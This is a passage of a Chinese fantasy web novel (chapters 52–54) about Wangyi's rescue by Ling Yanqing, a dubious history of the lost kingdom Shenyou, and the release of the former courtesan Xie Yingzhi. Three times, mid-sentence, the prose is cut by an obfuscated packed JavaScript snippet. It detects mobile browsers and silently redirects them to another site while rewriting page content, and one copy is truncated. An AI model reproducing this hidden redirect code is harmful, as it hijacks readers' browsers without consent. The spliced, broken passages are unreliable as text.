她笑了一声,想腆着脸询问,周身忽然被一圈柔和的光晕环绕,身体也不由自主地飘了起来。 那光暖融融的,不像是来害她的。 “班主,班主,不好了!你快看她!” 耿胜金回过神,看到半空中飘起的妄一,顿时脸色大变,呼喊手下把她拽下来。但妄一飞太高了,任何人都触碰不到,一群人只能急得大喊大叫。 妄一看看自己,又看看耿胜金,来不及解释了,离开之际,她喊道:“五天后巳时,半山亭相见!” 她不知道耿胜金有没有听进去,话音刚落,自己身体“嗖”地一声,凭空消失在光晕中。留下耿胜金在原地怒吼:“贼骨头,我一定要把你碎尸万段!!!” 52. 神佑史册话神佑 那阵光芒来得怪异,妄一浑浑噩噩,也不清楚是怎么回事。待四围消停,她发觉自己正落凌延卿的怀里。 “我怎么会在这里?!”她挣扎起身。 街上一切如故,和她消失前并无两样,唯一不同的是,空气中似乎多了一缕淡淡的血腥味。凌延卿唇色发白,满脸疲惫。周身的法力正化作点点细碎星光,从他身上缓缓飘散开来。妄一慌忙朝那些星光抓去,都无法阻挡这场流逝。 “是你把我拉回来的,”妄一紧张地看着他,“你怎么样?身上有没有不舒服的地方?” “我无碍,”凌延卿虚弱地摆摆手,“你能回来就好。” 妄一知他在强撑,低头扫了一眼,见地上画有一个三角模样的图形,稍作辨别,竟是血作的。 凌延卿却从容与她一笑,说:“没关系的。” “你是靠这个才救我出来的?”妄一抓着他质问,“你什么时候学会这鬼画符的本事?”她担忧他会因此遭到反噬。 凌延卿避重就轻道:“幸好我学会了一点,不是吗?” 他刚才好端端跟着妄一,听她叽里咕噜地讲话,稍微低了下头,人和说话声突然都消失了。 妄一搀着他,难掩关心道:“抓我的那人,我认识。我有他把柄,他不敢害我性命。可你不去找人帮忙,反倒独自画起这邪门的图案......答应我,不许再有下次。” 她常年习惯独自一人走出困境,她不想别人付出代价去救她。 凌延卿急得咳嗽两声:“事关你的安危,我来不及找帮手......” “你听我说,我有本事脱险,哪怕现在看来大不如前,但唯一值得确认的,是不需要你为我冒任何险。”妄一打断他,语气带着几分后怕,“和你分开后发生的事,回去我再跟你细说,我因祸得福捡了条线索,阿辞定然也会感兴趣。” 两人相扶着离去,凌延卿耗费精力过多,脸色不太好看,妄一问他要不要喊轿子?他轻轻摇了摇头,说不必了。 而地上的图案是他听囚犯闲聊得来的主意,说是从前有个盗贼,觊觎一件宝物却碍于重重防卫难以得手,便画此图案,完成隔空取物。 他本来当一句吹牛话,可今日急得没办法,他按猜想画在地上,法力微动,真让她脱离了魔掌。 妄一略感欣慰,她就知道南路狱人才济济,凌延卿本就聪明,多少能在那儿学到点真东西。 街上的行人渐渐多了起来,怕她会再次消失,他不经意地握了一下她的手,大抵她穿过嘈杂的街道,又不说一声消失不见了。 那是一双骨骼分明的大手,既能挥毫写字,亦能躬身种地。 妄一不以为意,她非羞嗒嗒的女子,也明白凌延卿此举何意。说实在的,男相那会儿,她都能接受去男澡堂洗澡,只因门里有单独的浴房,一直没那么做。 此时的莲烨门,阿辞一手一个白萝卜,正给铁头喂食。 受大人嘱托,他来照看灵兽,虽说初遇时被其压在掌下的阴影难以抹去,但相处久了,见铁头憨状可掬的一面,关系不知不觉走向融洽。 司命仙府每天雷打不动运来的蔬菜,各个细嫩清脆。阿辞经常一口气将三五个萝卜同时扔上天,铁头眼睛雪亮,盯紧猎物一跃腾空。锋利的尖牙刺破萝卜表皮,清甜的汁水从嘴里四射开来,须臾被吞入腹中。 妄一和凌延卿归来时,阿辞收起玩心,撇嘴嘀咕:“大人好偏心,独自去仙君府就罢了,可您带凌师傅竟不带我,这是什么道理?”他尽职尽责看家护院,一股弃妇的醋味蹿上心头,“我说呢,凌师傅怎么今天要我每隔两刻钟就牵灵兽去牢门口嚎两嗓子,原是跟大人去做客了。” 妄一表情一懵,看向凌延卿,这就是他说的“另有安排”? 阿辞看他们眉眼交谈,更是跳起来,问出“大人,你是不是喜欢他,不喜欢我了呀?”的奇妙话语。 妄一只觉得荒谬无比,为安抚某狐激动的心,便摆出苦恼的模样,道:“别提了,如果没带他去,或许这会儿我还回不来。” “.....怎么了这是?”见形势不对,阿辞停严肃起来,“你们去的不是仙君府吗?那儿能有什么危险?” 妄一连连叹气,阿辞好奇心重,她长话短说,将路上遭遇绑架的事简略交代,她没点名耿胜金,只用“昔日仇敌”代称。 阿辞听完,连忙问大人可有伤着哪儿了? “你别小看我,我纵横鬼京多年,该惹的,不该惹的,全都惹过了。”妄一无所谓的样子,完全不像功力大减,“我人缘虽说是不怎么样,但他们过来报仇,我提刀的速度也是很快的。” 何况耿胜金本性并不坏,归根结底是她的无心之失,让他再也无法借助灵珠的力量。 阿辞让大人快别说大话了,常在河边走,哪有不湿鞋?平时不多留心情,早晚会吃亏。 凌延卿半蹲在地,抚摸灵兽的头,没发表任何意见。 妄一笑了笑,谈话间多了几分郑重:“被人绑去也非一无所获,那位仇家提点几句,我对咒痕已有新的突破点。” “什么突破点?” “他说我偷他宝贝,一颗稀奇的古国珠子,我与它本来两不相干,却主动寄生于我。”妄一思索道,“所以我若了解那个叫‘神佑’的国度,或许能助我解开身世之谜。” 很久以前,在她苦攒功德时,就想去追查罪孽来源。要想人不知除非己莫为,她犯了那么大的恶,不信世上没有残余的痕迹。但现实是既得此咒者,就被天道所遗弃,连地府的文书都不会有关她的记叙,能在神欲鬼京畅行,全是娘娘宽容。 未曾想,耿胜金的话给她的谜题撬开一丝缝隙,妄一不会眼睁睁地放过。 阿辞乐道:“神佑我熟啊!我云游回来不还带了本《史册》吗,大人您忘啦?” 妄一眼神飘荡几下,掠过一丝尴尬,胡乱点头称记得,随后孤身回房开始一通翻找。 到底塞在哪个角落来着?她将架子箱子全部翻了一边,还好当时没藏太深。找到后,她拍打书皮上的灰尘,擦拭干净才拿过来。但没高兴一会儿,她又泛起了愁。 青色书皮,泛黄的纸张。书是好书,字却不是好字。随手翻开,通篇均为古国文字,晦涩难懂,复杂难辨,前部分注释了一些字词,不能畅读无阻,但多少能推断出大概意思。后几篇就不太乐观了,往往一页才标注了四五个词,着实令人难猜。 妄一看了几页便觉烦躁不已,她将书籍朝阿辞面前一推,道:“书是你带来的,想必你应该知道上面的内容,辛苦你讲解讲解。” “大人真爱拿我开玩笑......”阿辞的表情犯了难,“我什么水平您不知道?连自个儿狐族的文字都没认全,您把人世的古籍塞给我,我看凌师傅才是学富五车。” 这招甩锅用得妙极,阿辞知他老实,也不会拒绝。更何况在凡间,公子延卿的房里堆满卷轴,现在没了记忆,但悟性是种天赋,总不能也丢了去。 凌延卿接过书,他斯文地翻看。他看书的时候很安静,连膝边的铁头都不再闹腾。 片刻之后,他在别人充满希冀的目光下,才将书合上。 “你这么快就看完领悟了?”妄一讶然道。 “没有。”凌延卿略感遗憾,“是我才疏学浅,没经过学习,难解上面的文字。但根据注释翻看对照,我觉得这似乎只是一本外人杜撰的书籍,想通过它了解真正的神佑,怕是不能够。” “喂喂喂,你不懂别乱说!”阿辞马上跳起来争辩,“这是我慧眼淘来的宝贝,废了大把精力!” 他收来的时候,那二道贩子胸脯拍的震天响,说是祖传的真品,不是家道中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178087|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,不会拿出来交换。 “你们不行,可不要污蔑我收了假货。”阿辞夺过书,赌气道,“不就是本古籍吗?大不了我豁出去,今天用我有限的智慧,把它看穿。” “阿辞,你......” “大人放心,我在外面漂泊,定也是有些聪慧,就是懒了些。”他抱着书不肯撒手,眼睛离书面的文字不过一指距离。 凌延卿实在看不下去,伸出手,将书掉了个头,道:“我想,她的意思是你把书拿反了。” “有......有吗?”阿辞缩起脑袋,躲在书后面。 前一刻凌云壮志,后一刻洋相出尽。还好狐狸脸上长了毛,不然旁人定能看到双颊飞霞。 “哦我说呢,他们的文字怎么长得那么古怪,叫我看不顺眼......” “好了好了,人都有长处与短处,你看不懂上面的字很正常,我不也看不懂吗?” 妄一见状,给他递了台阶,把书拿过来,交还给凌延卿。 “我知书上写的不能全信,尽管你说它可能是由外人杜撰,但我还是想知道上面写了什么。靠上面仅有的注释,你尽力揣测就行,是对是错,我一概不追究。反正它对我而言,我就只作为参考。” 她说得宽容大方,凌延卿注视她一瞬,终不忍拒绝她。 “既如此,那我尽力试试吧。”他勉强答应,凭自身有限的实力,一字一句拆解开来转述给人听。 史册上说神佑国立世共二百三十五年,其国土肥沃,兵力强盛,却不料一夜之间大厦倾塌,湮没在历史的尘埃中。 神佑国原名“圣佑国”,第一代先王驾崩了,后人才改的国名。 首代国主是了不得的人物,传闻先王“邵氏”乃天上神君转世,下凡历劫创国,功德圆满后回归神位。虽只坐了三年王位,且也不知这传闻是真是假,两百年后的国家仍以他为尊。 王位的继承遵循禅让,起初是“外禅”,后沿袭成“内禅”,即非王室“邵姓者”不在继承范围内。 每年农历的九月初三是开国先王生辰,神佑国一年一次的庆国大典也定在这一日。 神佑国的地域并不算辽阔,但正因其面积不大,掌权者管理较为便捷。该国能欣欣向荣,也与历代国主的“重商”之道密不可分。其地理位置水运发达,与周边各国的贸易便利。 如此强盛的国家本不应灭亡,可惜天不遂人愿。据说神佑的亡国并非沦陷于他国铁骑之下,而来源于一场天灾,吞噬了百年文明。 凌延卿讲得通俗易懂,妄一和阿辞正听得入神,他声音骤停。 “讲完了?书里这么多字,就写了这些?没了?”妄一意犹未尽。 “不是。”凌延卿道,“后面的文字解说太少了,无法通顺解读,但大概意思就是这样。” 他没整本念完,妄一亦清楚他的水平,比起让她费尽脑力琢磨,凌部下能从有限的注释,条理清晰地阐述完一部分已是十分不易。 她回味一遍,对那位开国先王的事迹格外感兴趣,于是问:“书里有没有讲那位先王是何方神君下凡?” 凌延卿遗憾道:“这本书既是凡人编写,他们又怎知天上神仙的名讳?没胡编一个上去,已是尊重。” 妄一不屑道:“尊重神明是为了能够得到相应的庇护,但书中所写,他们似乎更想让神佑国灭亡。” 凌延卿道:“国家的兴亡交替乃天道常理,书上说后期的神佑国是因巫师操纵天机,以投机取巧的方式延续国运,天道有所察觉,故而降至灾祸。” “降了什么灾祸?”阿辞顺嘴问了一句。 凌延卿微微停顿,淡淡答:“洪灾。” 闻此,妄一和阿辞皆面露惊惧。神佑国因水运发达,才发展成商运亨通的大国。不料它兴由“水”起,亡也由“水”起。 53. 莲烨掌门复男相 漫漫一下午,凌延卿至多解说整本史册的三分之一,要想彻底读懂全书内容,却因世间难寻精通古国文字的学者,而十分艰巨。 神佑古国消失太久,遗址更是无处可寻。妄一把书放在凌延卿那儿,不论真假,仍叫他没事再琢磨一二。 她这般执着,不过是太想弄清自己的来历,以至于找到些蛛丝马迹,都不放过。 凌延卿拗不过,只好照做。 那天从他身上流散的法力,有些已回到妄一身上。她在屋里调养生息,可惜法力非一股脑儿全数回归,按这进程,她最快得花上十天,才能将散逸的力量吸收殆尽。 但她最忧心是上回耿胜金气急败坏看她消失,也不知是否听见她留下“半山亭相见”的话语。 她不想这么快走,谁叫凌延卿争气,在南路狱听过一遍的图案符咒,就敢直接拿来用,可见慧根不同凡响,是块修行的好料。 要如何再和耿胜金联系上?妄一面露难色。 阿辞不解地问,大人刚脱离虎口,为什么还要回去? 妄一叹此事皆因她所起,若莲烨掌门没去杏花楼,没躲进荷花池,自也没有耿胜金后来抓人,要她归还侍灵珠。 铁头不明白人的烦恼,嬉戏时从湖里钻出来,故意到人面前甩水,然后飞快跑开。 妄一心烦意乱,骂它是有仇必报小气鬼。 不过因为某次早睡,它偷溜进来,嗅她还有没有气。那么大的体型,走路也不轻,妄一猛地张开眼睛,把它吓个半死。事后它也学会假寐,门里门外那么多进出的人,却只吓到过阿辞。 湖水清凉,妄一把脸上的水擦净,门外便有传信使者求见。 “莲烨大人在不在呢?”紫竹精身材细高,腿直如筷,站得板正,是专为正殿跑腿的信差。 妄一亮出腰间的令牌,道:“大人出去了。” 紫竹精瞅了一眼,他认牌不认人,于是传话:“不是什么大事,姑姑命小的前来告知各位掌门,娘娘今晚就回苍鸯殿,无须各门迎接。” “哦,娘娘回殿了?!”听到这喜讯,妄一差点压不住嘴角。千盼万盼,她总算把娘娘盼回。 晚间凌延卿见她挂着一脸笑意,还问是不是南路狱的伙食款拨下来了? “哈哈,倘若锁金掌门能爽快批款,那我今天就双喜临门了。”妄一忍不住笑道。 她没说出原因,但见她眉飞色舞,凌延卿也不自觉跟着笑。 心中有了期盼,隔日大早,茅庐还没动静,妄一就打水洗漱。她行事一贯随意,但在去求见白水娘娘上,也会多几重敬意。 可令她没想到的是,当这片土地的主人回来,锦阕仙子作为天宫来客暂居此地,亦无理由不去拜访。 这天下起一场大雨,雨丝如断线的珍珠淅淅沥沥。 隔着雨幕,妄一站在廊下,天空黑沉,仙子出来未察觉到旁人。 她来面见娘娘,打扮比在仙君府时更为庄重,可繁琐的长裙,加之身侧的小娥动作略显笨拙,头顶的油纸伞并未护住她全身。雨水顺着伞尖流下,悉数落在裙摆上。 幸有仙人有灵光护体,仙子未打湿分毫,她孤傲而立,静静听雨落在伞面的声音。 妄一看她离去,心知仙子们出行大都多有自己的场面,比如有些要撒撒花瓣,有些要弹弹曲目。 可无论仙子多么光彩照人,妄一的目光只盯在她身边的小娥上。 小娥梳着双环髻,半垂双眸,乖巧跟行,她手臂微颤,在风雨中努力撑伞。 都说各人有各人的造化,但她万万没想到当日在莲烨门外的姑娘,今摇身一变竟能侍候仙子左右。 她说自己叫什么来着?哦——芜香,她说她叫芜香。 独眼嬷嬷送别仙子,妄一恰好也悠悠走到殿门口。她未想好如何开口,嬷嬷先把人上下一通瞧。 嬷嬷只有一只眼,但也足够老辣。苍鸯殿一共二百来位女眷,各人的名字与样貌,她能记个八分左右,唯独这人,她保证是头回见到。 心里虽纳闷,但娘娘料事如神,一早就叮嘱过,有样东西需交给一个人,不必问她姓名。 想来就是眼前这位了,嬷嬷不必再三确认,直接将东西交给妄一,说:“娘娘回来乏累无比,现已不见客。知晓有人来,特命我将此物准备好,只是告诫姑娘,路上不要拆开。” 那是一团杂乱的红线,妄一珍惜地护在手里。 独眼嬷嬷意味深长道:“我们娘娘说了,姑娘想求的东西都在这里,无须面见拜谢,另外......”她加重语调,提醒道:“另外娘娘还说余下的日子,姑娘不必再来叨扰。” 妄一一愣,但随即点点头,娘娘做的已经够多了,她不该得寸进尺,望不见殿里是什么场景,她站在门口,恭敬朝里面作揖。 手中之物小巧轻盈,妄一带回莲烨门,一扯展开。 琐碎的红线仿佛受到感知,在朦胧红光中自动编织成绳。它将妄一围了几圈,最后飞上去,缠住她的发。 红光消退,灵兽却在旁边撅着屁股呲着牙,忌惮地看着人。 “你不认识我了?”妄一出声变回男音,他不自觉低头看了眼身体。 果然,娘娘知道她想求的是什么。 妄一弯腰搀起铁头的胳肢窝,把它抱在空中甩了一圈。铁头本不情愿,闻到那股熟人的味道,才半信半疑放下警惕。 何田消失,莲烨掌门复位。他捧照妖镜一看,一切安好,唯有一点,他此刻身着女装,画面略显割裂。 妄一忙把身上收拾妥当,重新穿上红袍。 铁头已接受了他忽男忽女的模样,凌延卿和阿辞反倒不习惯了。只要妄一出现在视野,总要接受他们那种似有若无的在意。 被看得多了,妄一都忍不住皱眉,骂他们有完没完?是他眼睛歪了还是嘴巴斜了? 如此训了两句,他们才把视线挪开,继续各忙各的。 凌延卿问:“那你明天亲自去南路狱吗?” “不去,明天我另有要事。”妄一答。 “什么事?”阿辞竖起耳朵。 “自是不可糊弄的大事。”妄一沉吟道,“我要去接故友出狱。” 称一声“故友”,其实是客气说法。实际上妄一与那人来往不多,但在二十年前欠下一份人情。 这位故友与普通囚犯不同,神欲鬼京的三大监狱,她被关在西井狱。 妄一最后一次和她相见,就是拿着镣铐,亲手将她捆来苍鸯殿。 阿辞不解其意,大人相熟的人,他基本都知道,从没听说哪位故友身在狱中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195405|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >妄一道:“你怎么会知道她呢?你在之前鬼京停不住脚,每每自人间赶来,至多半个月要走。但我提起她的来历,你铁定听过。” “哪位?”阿辞更加好奇了,“您快说来我听听呗。” 妄一朗声道:“我不提她名讳,但你可记得多年前的京中,有一座大名远扬的花楼,牌匾上写的‘秉烛夜游’?” 阿辞眼睛骤然一亮:“您那故友莫非是楼中人?” “正是。”妄一点头道。 此乃城中有名的纸醉金迷之地,凌延卿不感兴趣,念叨着菜地还需浇水,便提桶出去了。 “真有意思,您到底认识那里面的谁?别告诉我是端茶送水跑腿的小伙计啊。”阿辞嘟囔道。 妄一睨他一眼,冷哼道:“夜游花魁你可记得?” “花.....花魁?!”阿辞肃然起敬。 “是啊。”妄一轻飘飘道,“你家大人看似刚正不阿,但给苍鸯殿卖命,不乏要与各路打交道,阿辞,你还是把我看太轻了。” 而且铁打的夜游楼,流水的花魁。那位故友花期虽短,但身价高得离奇,尽管如此,慕名者还是络绎不绝。 传闻有谁当了她的入幕之宾,所有烦恼都可抛却。可惜后来锒铛入狱,夜游楼在她离开没几个月,也不声不响的闭门了。 盛世大楼现被祥云楼的东家买下,里面装饰大多是从夜游楼流传下来的,过了二十年仍不觉土气。 阿辞实在想不通,能成为夜游花魁需何等能耐,怎么结局竟是狼狈收监。 妄一吊他的胃口,说:“你想知道啊?” 阿辞点点头,他是想知道啊。 “唉,可惜这是机密,无可奉告。”妄一遗憾道,这事当年有意隐瞒,能说这么多已是游走在危险的边缘上。 阿辞攀他手臂,道:“大人使坏,只知道勾蛔虫,又不给糖吃。” “别急别气,我明天就接她去,你实在好奇,就跟着我一道去?”妄一邀请道。 阿辞几乎不假思索应答:“我去我去!”别人挤破头都见不着的花魁,他还犹豫什么劲儿。 凌延卿不闻他们的约定,浇完菜地,回来仍见阿辞缠着人问东问西。妄一摒得住气,一句话都不肯多说。 他走近一听,知是在议论花魁之事,随口道:“那位姑娘么,我听说她杀人入狱,杀的还是个......” “喂!小心祸从口出!”话还未尽,妄一就制止他,“你从哪儿得知的事?可不许胡言乱语。” “我没有胡言乱语......”凌延卿老实道,“我知道那人明日就出狱,抄写的案卷与刑满释放书放在一起,需经你盖章。可他们送错了地,以为你在南路狱,就送到那里,我不小心看了一眼。”如此说来,他仿佛是被迫知道了这个消息。 妄一撇了撇唇角,道:“罢了,得亏你是在莲烨门说漏嘴,要在外边透露,被人听去,麻烦就大了。” 那名死者身份特殊,为保全某方的脸面,这则案子几乎秘密进行。 阿辞急得挥舞双手:“你俩说话别忘了我呀,凌师傅都知道那花魁所犯何事,大人何不都告诉了我?我嘴巴严,耳朵宽,听完就抛脑后了。” 这话听上去真诚,可结果难说。妄一和凌延卿两两相望,默契地转过身。 54. 夜游花魁复荣光 西井狱非寻常牢狱,而是由数座荒废多年的枯井集合而成。其藏在西山静思坡,坡上杂草丛生,且含剧毒,寻常生灵断不会在此歇脚。 时隔多年,这片死寂的山坡上,难得响起一阵丁零当啷的钥匙碰撞声。看守的狱卒穿着特制的长靴,穿过重重毒草走至坡顶枯井。 他白发苍苍,眯着昏花的老眼,仔细捻着串沉甸甸的钥匙,分辨背后篆刻的细小字号。 这活有些费眼力,却不能有半分马虎,稍不留神拿错一枚,打开的就不是相应的牢房。 “谢盈芝?嗯,谢盈芝是这枚!”他找寻半天,终于找好钥匙,蹲下来摸索井口上生锈的铜锁。 伴随一阵“咔嚓”的声响,沉重的铁闸有所松动。 狱卒拉开铁闸,伸出脑袋去看,井底之深,他一双老眼望不见丝毫光影。于是从腰间解下一根绳梯放下,示意底下的人上来。 此物专供西井狱使用,捏在手里两尺长,垂入井口便会自行延伸到底。 狱卒瞧了眼绳梯,见有轻轻晃动,便在一旁等候。 没过多久,有只枯瘦的手攀上了井沿,继而一道纤瘦的身影吃力地翻爬出来。 狱卒好心帮她一把,说道:“还好你才关那么几年,要是再久一些,出来不是疯了就是傻了。” 那女子蓬头垢面,稍作休息后猛地转身,朝着井口唾弃道:“这破地方,我是死在外边也不会再回来了!” 她眼底乌青,一朝出狱,身边路过的风带着久违的自由气息,拂过她干裂的脸颊。 井底空间狭隘无比,还好她从未放弃活动筋骨,现回到广阔的天地,也能行走自如。 “差不多就快快离去,下山直走,有人等你。”狱卒重新把井口的闸门关上。 是谁在等她?谢盈芝捡起布靴,满心疑惑。 她循着那条路,快步下去,还未走到山脚,就见两个人影站在那里。 她一激动,声音沙哑道:“真没想到......会是大人你。” 妄一对她笑了笑,上前给她披了件斗篷,说道:“还好见到了,你再不来,我们得上去迎你了。” 谢盈芝不好意思地垂下头,妄一面色如常,唯一感到不可思议的,只有同行的阿辞。 为一睹花魁风华,阿辞特意梳洗打扮后才与大人汇合,在荒郊山坡吹一早上的风,直到看见向他们走来的“那女的”,某颗狐狸心悄悄碎了。 此女皮肤干巴,面色蜡黄,头发枯黄杂乱,浑身都透着一股沧桑落魄之气。 夜游楼的花魁门槛这么低吗?果然,大人搞诈骗不是一天两天。即便人家有六分样貌,他此时也只能给个四分,其中两分还是看在“大人故友”的面子上。 碍于良好的教养,阿辞强装平静,将那人当普通女子对待。心里盘算着大人把她带回鬼京就够了吧,没想到大人之后竟问她有无地方可去...... 谢盈芝摇头,惭愧道:“我被关押多年,夜游楼也不复存在。”等与大人分道扬镳,她恐怕吃饭住宿都是问题。 妄一瞧她落寞,于是道:“既如此,你随我一同去莲烨门。在你找到合适的去处之前,可以暂住在我那儿。” 这话一出,阿辞瞬间僵住,他家大人一贯不喜欢接纳生客,怎么遇上这位就变卦了? 谢盈芝忙道“多谢”,她清楚自己的境地,她不想打扰别人,但现在不适合嘴硬。 阿辞急得张嘴,奈何拒绝不得,只好化成巨狐原形,载他们回去。 但路上,他也有小心思,装不在意道:“那什么,谢姑娘是吧?谢姑娘要来咱们这儿,大人身边又要热闹些了。就是咱们还养了只灵兽,长得血盆大口,獠牙外露,只有大人可以降服它。待会儿谢姑娘进去,千万别离了大人的视线......哎,痛痛痛!” “痛什么?你的毛几天忘记打理了,我摸着甚为粗糙。”妄一提点他道。 “别别别,大人我们在半空,你别乱折腾我啊!”阿辞急忙服软道。 “那你也安静些,好好行你的路。”妄一松开狐狸毛,眼神直视前方。 脚下的风景一轮轮变换,后续阿辞再没吱声,直到把人送到。 谢盈芝从狐狸脊背下来,双脚落地的那一刻。铁头闻着味儿,迈着粗壮的爪子从茅庐跑出来。 它认得妄一和阿辞,可看到谢盈芝时,停下脚步,鼻子里发出一阵低低的呜咽声,眼神警惕,浑身的毛发微微竖起。 妄一抱住它的脑袋,让它安分点,并安慰谢盈芝,这是天上的灵兽,因她刚出狱,身上多少带有灰败之气,所以摆出这副阵势。 谢盈芝勉强站稳,刚才她还以为阿辞故意唬她的,没想到说的都是真的。心想如果灵兽真要取她性命,眨眼便可得手。 “没事,你带着这些换洗的衣物,去梳洗一番就好了。”妄一拿出仙君之前送来的衣裙。 谢盈芝一摸便猜出大致价钱,如此贵重的衣裙,她这般落魄样,实在不配穿着。 妄一道:“这里只有你一个姑娘,你不穿就放着可惜了。浴房在我屋后面,我托人来给你抬水,让你去去身上的尘埃。” 一无所觉的阿辞正拿着花椰菜喂灵兽,当大人将两个水桶扔在他面前时,他怔愣片刻。 妄一对他道几句辛苦,可阿辞眼神略微幽怨,他对谁都能热情,但对那位姑娘,大人难道看不出他的态度吗?但看妄一已转身去忙别的了,他便知这水是挑定了。 屋后的浴房宽敞明亮,当他“哼哧哼哧”拎进去两大桶后,瞥见谢盈芝站在浴桶前卷起袖子,皮肤如纷纷雪花掉落的画面,他起了一阵鸡皮疙瘩,急忙溜了。 他连滚带爬找到妄一,压低嗓音道:“大人,您带回的究竟是何妨妖怪?要不是您亲自去接,我都怀疑她是个冒牌货!” 妄一懒懒道:“阿辞,以貌取人就是你的不对了。要是去了人间,你和盈芝姑娘谁更受人欢迎都不一定呢。” 一个怎么说都是正经人身,而阿辞单凭一颗会说人话的狐狸脑袋,一露相就能吓跑凡人大片。 阿辞说不过,只得闷声闷气道:“真不知您欠了她什么人情,能让您今儿天一亮就去西井狱等着!” 妄一道:“阿辞,你要学会欣赏人家的内涵,不只局限于花魁的美艳皮囊。” 阿辞想反驳“你看看那个不修边幅的女人哪里配得上‘美艳’二字”,忽听浴房的大门打开,盈芝姑娘在他们二人的谈话间,款款走出来。 水雾缠绕着她的身影,她半抬胳膊,用布巾包住了湿漉漉的长发。新生的肌肤香润玉温,泛着淡淡的光泽。 她双眸含水柔情,淡淡一笑道:“多谢。” 因她身子单薄,衣裙套在身上还稍大些,但这并不妨碍谢盈芝风情万种。 “这这这......那那那....”阿辞多想问姑娘你谁啊? 妄一撇他一眼,道:“我说吧,没接错人。” 阿辞张着嘴,忙不迭地点头,是的是的,他们绝没接错人!先前怨言在此刻烟消云散,他现意识到,世上居然有女子能让“纯真无邪”和“妩媚撩人”两个词汇完美融合。 谢盈芝眼波流转间,一张俏脸媚而不俗,娇而不艳。 早知是这样的美人,别说两桶水,就算是八桶,十桶,阿辞也愿意抬! “咳咳!”妄一轻轻撞了下他的肩膀,把他的魂魄喊回来。 阿辞慌张扭过头,但仍忍不住偷偷去看谢盈芝。猜测她莫不是画皮娘子,借着沐浴给自己重做了一身皮么? 妄一看出他的疑惑,解释道:“盈芝姑娘是由花蛇而来,需得经历蜕皮,现下焕然一新,连灰败之气都不曾有了。” 谢盈芝将肩上滑落的布巾重新裹紧,轻轻甩了甩湿漉漉的长发,说道:“方才我那模样,自己看了都嫌弃。这么些年,我乱头粗服地度过,若不是今日能好好梳洗,蜕皮重生,我都快忘了我是什么样子。” 女为悦己者容,她在井底就算细心打扮整理,也只能对着井壁相顾无言。 灵兽还跑进浴房绕了一圈,以为能凭空变出的大活人,等发现浴房没有特别之处后,又出来张望谢盈芝,像是在和刚在的陌生女子作比较。 妄一看它这一系列古怪的举动,发笑道:“以貌取人啊,都是以貌取人啊。”后头这句话不知是在说铁头,还是在说阿辞。 谢盈芝既要在此落脚,莲烨掌门便得指一间住处给她。 不晓得她是否真的跟“西”有缘,东边的茅庐让凌延卿住了,中间的石屋是掌门自己用的,唯独还剩西边那座空着。 怕她心里有疙瘩,妄一说再幻化出一间来吧。 远处的景色皆是虚影,莲烨门的主人在能力范围内可用意念拟一座新居。妄一功法虽没彻底恢复,但这点小事,还是游刃有余的。 谢盈芝谢绝好意,说没什么吉不吉利的,一间住处而已,又不是要“命里归西”了。 妄一不勉强她。往日的莲烨门总是冷冷清清,现在阿辞回了,且还多两座屋子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208494|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居客和一只灵宠,增添不少人气。 到了夜里,阿辞更想在新客面前表现自己。凌师傅不在,他破天荒的上灶,使出十八般厨技。 他在人间走南闯北,风餐露宿时没少研究过吃食,只是回了鬼京,有了凌师傅,他懈怠而已。 茅庐的灶台垒得高了些,狐狸的五短身材踩在小凳上,一把铁铲铿铿锵锵。听说“下厨的男人最迷人”,他要让众人都刮目相看。 谢盈芝非胡吃海塞之人,面对一桌子菜肴,她慢条斯理,举止优雅,按以前楼里的规矩,吃饭也是一种艺术,无论何时何地,都不能失了分寸。 待她放下碗筷,阿辞还在灶台大喊:“盈芝姑娘慢些吃,我还有两个菜没烧呢。” 谢盈芝娇笑道:“多谢小哥款待,菜早已足够。你也快过来吃吧,灶头上火热的,别累着了。” 她的话如一捧春水浇灌在阿辞心里,让他拿着锅勺都大了些力气。 妄一则道:“他愿出力便让他出力,以后苍鸯殿的御厨之席,少不了给他提名。” 这话瞬间就把阿辞混沌的脑袋给打醒了,他可不要那一官半职拘着他放荡不羁。 “我这不是想到盈芝姑娘受了不少苦,想好好款待人家嘛!”阿辞挠着头说道。 “你确定吗?要不是盈芝姑娘在此,我恐怕还无福见识你的厨艺。”妄一戏谑道。 阿辞急了:“嘿!大人这话就过分了!你知道我对莲烨门的忠心,天地可鉴,日月可表......” 谢盈芝坐在一旁,双肩轻颤压抑着笑声。 一桌人吃过饭,桌上剩下的残羹剩饭、油渍碗盘,最令人头疼。谢盈芝识趣,尽管他们不在意,她还是主动帮忙洗碗收拾。 阿辞见不得美人辛苦,叫她去院里乘凉就是,这些脏活累活,有男人在,尽管交给男人来做!还强调女子的双手尤为重要,往大了说无异于是第二张容颜。 